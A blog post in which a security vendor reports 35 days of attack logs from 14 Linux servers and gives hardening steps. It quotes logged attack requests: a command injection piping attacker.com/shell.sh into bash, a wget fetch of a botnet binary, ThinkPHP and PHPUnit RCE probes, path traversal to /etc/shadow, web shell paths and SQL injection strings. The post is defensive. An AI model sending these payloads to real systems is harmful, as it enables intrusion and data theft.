DEV Community

Cover image for I analyzed 250,000 attacks on my Linux servers. Here's what I found.
Defensia
Defensia

Posted on

I analyzed 250,000 attacks on my Linux servers. Here's what I found.

I set up real-time monitoring on 14 production Linux servers, a mix of VPS, bare metal, and Docker hosts across DigitalOcean, OVH, Hetzner, and a couple of on-prem boxes. One server hosts 64 domains. Another runs a single Laravel app. They range from 1 vCPU to 8 vCPU, Ubuntu, Debian, CentOS 7, and AlmaLinux.

I wanted to answer a simple question: what's actually hitting my servers?

I let it run for 35 days. The answer was worse than I expected.

The numbers

Metric Value
Total security events 254,177
Attacks per day (average) 8,400
Unique attacking IPs 23,831
IPs banned automatically 50,919
Repeat offenders (banned 2+ times) 9,827
Permanently banned (4+ offenses) 1,871
Worst single IP Banned 14 times before permanent block

That's 8,400 attacks per day. Across 14 servers. Every single day.

Defensia dashboard showing 254,177 security events, 50,919 banned IPs, and 23,831 unique attackers across 14 Linux servers with a real-time event feed showing brute force, env probing, RCE attempts, and scanner detection.

What's attacking you (and what they want)

I'm going to skip the bot crawler noise and focus on what matters: attacks that can actually compromise your server.

SSH brute force — 20,960 events

The most persistent threat. ~700 attempts per day, every day, without exception.

The pattern is always the same: an IP connects, tries 50-200 passwords in 2-3 minutes, then moves on. They target every username you can think of:

root
admin
ubuntu
test
oracle
postgres
deploy
git
ftpuser
minecraft
Enter fullscreen mode Exit fullscreen mode

Most brute force comes in coordinated waves: the same IP hits multiple servers within seconds. With progressive ban escalation (24h first offense, 7 days second, 30 days third, permanent after that), 1,871 IPs have been permanently blocked.

What to do: Disable password auth entirely. Use SSH keys only. Add this to /etc/ssh/sshd_config:

PasswordAuthentication no
PubkeyAuthentication yes
PermitRootLogin prohibit-password
Enter fullscreen mode Exit fullscreen mode

Then systemctl restart sshd. This alone stops 99% of SSH brute force.

.env file probing — 2,376 events

This one should terrify every developer who deploys web apps:

GET /.env HTTP/1.1
GET /.env.local HTTP/1.1
GET /.env.production HTTP/1.1
GET /.env.backup HTTP/1.1
GET /api/.env HTTP/1.1
GET /app/.env HTTP/1.1
GET /laravel/.env HTTP/1.1
GET /wp-content/.env HTTP/1.1
Enter fullscreen mode Exit fullscreen mode

Every single one of my 14 servers gets probed for .env files multiple times per day. They're looking for database credentials, API keys, APP_KEY, Stripe secrets, everything that's in your .env.

If your web server serves .env as a static file, you are already compromised. I guarantee it. The scanners are automated and run 24/7.

What to do: Block .env access in your web server config:

# Nginx
location ~ /\.env {
    deny all;
    return 404;
}
Enter fullscreen mode Exit fullscreen mode
# Apache
<FilesMatch "^\.env">
    Require all denied
</FilesMatch>
Enter fullscreen mode Exit fullscreen mode

Config probing — 739 events

The .env cousins:

GET /wp-config.php
GET /.git/config
GET /.git/HEAD
GET /server-status
GET /.htpasswd
GET /web.config
GET /config.php
GET /database.yml
GET /settings.py
Enter fullscreen mode Exit fullscreen mode

Attackers systematically check for every known config file across every framework. WordPress, Rails, Django, Laravel, Node, they try them all on every IP. They don't know what you're running; they just spray and see what responds.

The .git/config one is particularly nasty if your .git directory is exposed, they can download your entire source code including commit history.

Path traversal — 1,362 events

GET /../../etc/passwd
GET /..%2f..%2f..%2fetc/shadow
GET /static/..%252f..%252f..%252fetc/passwd
GET /images/../../../etc/hostname
Enter fullscreen mode Exit fullscreen mode

Note the double URL-encoding: %252f decodes to %2f which decodes to /. This is designed to bypass naive WAFs that only decode once.

They're trying to escape your web root and read system files — /etc/passwd to enumerate users, /etc/shadow for password hashes, or /proc/self/environ for environment variables.

Remote code execution — 799 events

The scary ones:

GET /cgi-bin/luci/;stok=/locale?form=country&operation=write
    &country=$(curl+attacker.com/shell.sh|bash)

POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php

GET /index.php?s=/index/\think\app/invokefunction
    &function=call_user_func_array&vars[0]=shell_exec
    &vars[1][]=whoami

GET /?cmd=wget+http://185.x.x.x/bins/bot.arm7
Enter fullscreen mode Exit fullscreen mode

Each of these targets a specific CVE:

  • PHPUnit eval-stdin.php — a dev dependency that should never be on production. If it's accessible, they have full shell access.
  • ThinkPHP RCE — affects ThinkPHP < 5.0.24. Allows arbitrary command execution via URL.
  • Luci router RCE — targets OpenWrt/router admin panels exposed to the internet.
  • Direct wget — tries to download and execute a botnet binary. bot.arm7 tells you they're targeting IoT devices too.

Web shell access — 40 events

GET /c99.php
GET /r57.php
GET /shell.php
GET /cmd.php
GET /webshell.php
GET /wp-content/uploads/shell.php
Enter fullscreen mode Exit fullscreen mode

They're checking if a previous attacker already left a web shell on your server. If any of these returns 200, your server is already owned.

Scanner tools — 2,342 events

These User-Agents appear constantly:

sqlmap/1.7
Nuclei - Open-source project (projectdiscovery.io)
Nmap Scripting Engine
masscan/1.3
Mozilla/5.0 (compatible; Nimbostratus-Bot/v1.3.2)
Enter fullscreen mode Exit fullscreen mode

Scanners map your entire attack surface: what software you run, what versions, what ports are open, what known CVEs apply. The results either get used in targeted attacks or sold on forums.

SQL injection — 13 confirmed events

Low volume but high impact. Every attempt is a targeted exploit:

GET /index.php?id=1'+UNION+SELECT+username,password+FROM+users--
GET /search?q=1%27%20OR%201=1--
Enter fullscreen mode Exit fullscreen mode

Low count means most SQL injection gets caught at the application level or by pattern-based WAF rules. But 13 confirmed attempts in 35 days on production servers means it's real not theoretical.

Everything else

Attack type Events What it targets
FTP brute force 403 vsftpd, ProFTPD credentials
Web exploits (Spring4Shell, Log4Shell, Struts) 176 Known CVEs in Java frameworks
Honeypot triggers 124 Decoy endpoints that only attackers would hit
Mail brute force 30 Postfix SASL, Dovecot IMAP/POP3
Exposed database ports 14 MySQL/PostgreSQL open to internet
DB brute force 5 Direct database auth attempts
SSRF attempts 2 Server-side request forgery

Where the attacks come from

Country Events %
United States 117,171 46.1%
Singapore 60,109 23.6%
France 13,223 5.2%
Russia 10,647 4.2%
Germany 9,628 3.8%
China 7,132 2.8%
United Kingdom 4,607 1.8%
Netherlands 3,254 1.3%
Hong Kong 3,245 1.3%
Brazil 2,251 0.9%

Surprise: the US is #1 by far. Not because Americans are hacking you — because AWS, DigitalOcean, Vultr, and Linode provide cheap VPS that attackers use as launchpads. Singapore at #2 is the same story (AWS ap-southeast-1).

Russia and China combined are only 7%. Blocking "suspicious countries" misses 93% of the traffic.

The timeline: what happens when you deploy a fresh VPS

I tracked the exact timing from several fresh Droplet deployments:

Time What happens
< 1 min Shodan, Censys, Masscan port scan — your IP is indexed
1-3 min First SSH connection attempt (usually root)
3-5 min First brute force wave — 50-100 password guesses
5-15 min First web exploit probe — .env, wp-login.php, .git/config
15-60 min Bot crawlers discover your IP, start scraping everything
1-24 hours Targeted scans based on what they detected (specific CVEs for your stack)

Your server is under attack before you finish your first apt update.

Per-server breakdown

Server Events Notes
VPS with 64 domains 155,901 More domains = more attack surface
VPS with 10 domains 38,924 Second most targeted
Defensia platform server 14,185 Security product = ironic target
Clean DO Droplet (test) 9,500 Fresh server, nothing deployed — still 9,500 attacks
Single-app VPS 7,096 One Laravel app = still thousands of attacks
Internal network server 84 Only reachable via VPN — almost no attacks

The clean Droplet with nothing deployed got 9,500 attacks. The IP alone is enough.

What to do about it

Five things every developer with a Linux server should do:

1. SSH keys only, disable password auth

sed -i 's/#*PasswordAuthentication.*/PasswordAuthentication no/' /etc/ssh/sshd_config
systemctl restart sshd
Enter fullscreen mode Exit fullscreen mode

This eliminates 100% of SSH brute force. Non-negotiable.

2. Block sensitive file access

# Nginx — add to every server block
location ~ /\.(env|git|htpasswd) {
    deny all;
    return 404;
}
Enter fullscreen mode Exit fullscreen mode

Stops .env probing, .git exposure, and .htpasswd leaks.

3. Enable a firewall

ufw default deny incoming
ufw allow ssh
ufw allow http
ufw allow https
ufw enable
Enter fullscreen mode Exit fullscreen mode

Only expose the ports you actually need.

4. Keep software updated

apt update && apt upgrade -y
# Or enable unattended-upgrades for security patches
Enter fullscreen mode Exit fullscreen mode

Most RCE attacks target known CVEs with patches already available.

5. Monitor what's happening

This is the part most developers skip. Without monitoring, all 254,000 of these events would be completely invisible. You'd never know until something breaks or your server starts sending spam.

At minimum, check your auth log regularly:

grep "Failed password" /var/log/auth.log | tail -20
Enter fullscreen mode Exit fullscreen mode

If you want real-time visibility, I built an open-source agent that does all of this automatically: detects SSH brute force (15 patterns), web attacks (15 OWASP types), and manages bots with a dashboard showing everything in real time.

It's a single Go binary that installs in one command:

curl -fsSL https://defensia.cloud/install.sh | sudo bash -s -- --token <YOUR_TOKEN>
Enter fullscreen mode Exit fullscreen mode

Also works with Docker and Kubernetes.

The agent is MIT-licensed: github.com/defensia/agent

Free tier includes 1 server with full protection. defensia.cloud


All data is from real production servers monitored between February 24 and March 31, 2026. No synthetic traffic, no test data. Just the internet being the internet.

Top comments (0)